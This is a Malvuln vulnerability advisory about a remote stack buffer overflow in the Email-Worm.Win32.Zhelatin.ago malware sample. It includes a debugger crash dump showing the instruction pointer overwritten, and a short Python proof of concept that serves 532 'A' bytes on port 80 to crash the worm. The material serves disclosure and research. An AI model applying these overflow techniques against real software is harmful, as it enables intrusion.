Email-Worm.Win32.Zhelatin.ago malware suffers from a remote stack buffer overflow vulnerability.
8bd0a581f8bc5944d334d3e2733b636f
Discovery / credits: malvuln - Malvuln.com (c) 2021
Original source: http://malvuln.com/advisory/0418e7f95a8b94c035e10749234f8378.txt
Contact: [email protected]
Media: twitter.com/malvuln
Threat: Email-Worm.Win32.Zhelatin.ago
Vulnerability: Remote Stack Buffer Overflow
Description: Buffer overflow on server response TCP Port 80, upon receiving 532 bytes or more we can overwrite insruction pointer (EIP) to control program execution flow.
Type: PE32
MD5: 0418e7f95a8b94c035e10749234f8378
Vuln ID: MVID-2021-0014
Dropped files:
ASLR: False
Safe SEH: True
DEP: False
Disclosure: 01/01/2021
Memory Dump:
EAX : 00000000
EBX : 00000000
ECX : 76E77CB1 kernel32.76E77CB1
EDX : 00000000
EBP : 41414141
ESP : 0434F2E8 "AAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
ESI : 76E8DE00 <kernel32.DeleteFileA>
EDI : 764E38D0 <user32.wsprintfA>
EIP : 41414141
ExceptionAddress: 41414141
ExceptionCode: c0000005 (Access violation)
ExceptionFlags: 00000000
NumberParameters: 2
Parameter[0]: 00000000
Parameter[1]: 41414141
Attempt to read from address 41414141
0:003> .ecxr
eax=00000000 ebx=00000000 ecx=76e77cb1 edx=00000000 esi=76e8de00 edi=764e38d0
eip=41414141 esp=0418f2e8 ebp=41414141 iopl=0 nv up ei pl zr na pe nc
cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246
41414141 ?? ???
Exploit/PoC:
import socket
port=80
payload="A"*532
def doit():
global payload
s = socket.socket()
try:
host = ''
s.bind((host, port))
s.listen(5)
print('Email-Worm.Win32.Zhelatin.ago / Remote Stack Buffer Overflow')
print('MD5: 0418e7f95a8b94c035e10749234f8378')
print("By malvuln")
while True:
conn, addr = s.accept()
conn.send(payload+'\r\n')
conn.close()
except Exception as e:
pass
if __name__=="__main__":
doit()
Disclaimer: The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information or exploits by the author or elsewhere. Do not attempt to download Malware samples. The author of this website takes no responsibility for any kind of damages occuring from improper Malware handling or the downloading of ANY Malware mentioned on this website or elsewhere. All content Copyright (c) Malvuln.com (TM).